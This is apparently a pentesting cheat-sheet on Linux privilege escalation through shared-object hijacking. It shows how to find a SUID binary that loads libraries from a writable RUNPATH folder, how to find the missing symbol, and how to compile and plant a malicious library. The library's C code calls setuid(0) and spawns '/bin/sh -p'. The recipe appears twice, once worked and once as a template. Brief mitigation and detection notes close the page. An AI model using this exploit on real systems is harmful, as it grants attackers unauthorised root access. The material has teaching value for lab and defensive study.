# shared-object-hijacking

## Shared objects hijacking

Binary and program under development usually have custom libraries (`SUID`)

**Get the program shared object**

```
ldd payroll
```

> It is possible to load share object libraries from custom locations. One such setting is `RUNPATH` configuration. Libraries in this folder are given preferences over other folder.

**Identify custom libraries & preferences**

```
readelf -d payroll | grep PATH
```

> The folder is writable where the libraries are loaded. This misconfiguration can be exploited via placing malicious library in `/lib_folder`.

**Folder permission check**

```
ls -la /folder
```

**Firstly, we need to find the function called by the binary**

```
ldd payroll
```

```
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
```

```
./payroll
```

> If we are getting error like "symbol lookup error", so it vulnerable. Put the library back to its location.

**Compile a library: `src.c`**

```
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
	printf("Malicious library loaded\n");
	setuid(0);
	system("/bin/sh -p");
}
```

```
gcc src.c -fPIC -shared -o /<folder>/libshared.so
```

**Exploit**

```
./payroll
```

***

***

***

#### Check SETUID Binary Permissions

```bash
ls -la <binary_name>
```

#### List Shared Object Dependencies

```bash
ldd <binary_name>
```

#### Check RUNPATH

```bash
readelf -d <binary_name> | grep PATH
```

#### List Directory Permissions

```bash
ls -la <vulnerable_directory>
```

#### Copy Existing Library (to Identify Missing Symbol)

```bash
cp /lib/x86_64-linux-gnu/libc.so.6 <vulnerable_directory>/<library_name>.so
```

#### Run Binary (to Get Symbol Lookup Error)

```bash
./<binary_name>
```

#### Create Malicious Shared Object (src.c)

```bash
cat > src.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void <missing_symbol>() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
}
EOF
```

#### Compile Malicious Shared Object

```bash
gcc src.c -fPIC -shared -o <vulnerable_directory>/<library_name>.so
```

#### Run Vulnerable Binary

```bash
./<binary_name>
```

#### Verify Root Access

```bash
id
whoami
```

## **Key Concepts:**

* **Shared Objects (.so):**
  * Dynamically linked libraries.
* **`ldd`:**
  * Displays shared object dependencies.
* **`RUNPATH`:**
  * Specifies directories to search for shared objects.
  * Takes precedence over other search paths.
* **Hijacking:**
  * Replacing a legitimate shared object with a malicious one.
* **SETUID Binaries:**
  * Binaries that run with the privileges of their owner.

**Exploitation Steps (as described):**

1. **Identify Vulnerable Binary:**
   * Find a SETUID binary.
   * Use `ldd` to identify custom shared object dependencies.
2. **Check `RUNPATH`:**
   * `readelf -d <binary> | grep PATH`
   * Verify if `RUNPATH` points to a writable directory.
3. **Identify Function Name:**
   * Attempt to run the binary, and observe any symbol lookup errors.
   * Copy a legitimate .so to the vulnerable directory, and run the binary to get the missing symbol.
4. **Create Malicious Shared Object:**
   * Write C code containing the required function.
   * Include code to execute a shell as root.
5. **Compile Malicious Library:**
   * `gcc <source_file>.c -fPIC -shared -o <vulnerable_directory>/<library_name>.so`
6. **Run Vulnerable Binary:**
   * The malicious library will be loaded, and the root shell will be spawned.
7. **Verify Root Access:**
   * `id`

**Important Considerations and Enhancements:**

* **`RUNPATH` vs. `RPATH`:**
  * `RUNPATH` is preferred over `RPATH` for shared libraries.
  * `RPATH` can cause issues when distributing applications.
* **Security Implications:**
  * This is a significant security risk.
  * Writable `RUNPATH` directories should be avoided.
* **Mitigation:**
  * Avoid writable `RUNPATH` directories.
  * Use secure file permissions.
  * Regularly audit binaries and shared object dependencies.
  * Compile binaries with hardened flags.
* **Detection:**
  * Monitor for unexpected shared object modifications.
  * Use file integrity monitoring tools.
  * Audit `RUNPATH` configurations.
* **Real world examples:** Researching real world shared object hijacking exploits will help solidify understanding of the attack vectors.
* **Symbol Interposition:** This technique is a form of symbol interposition.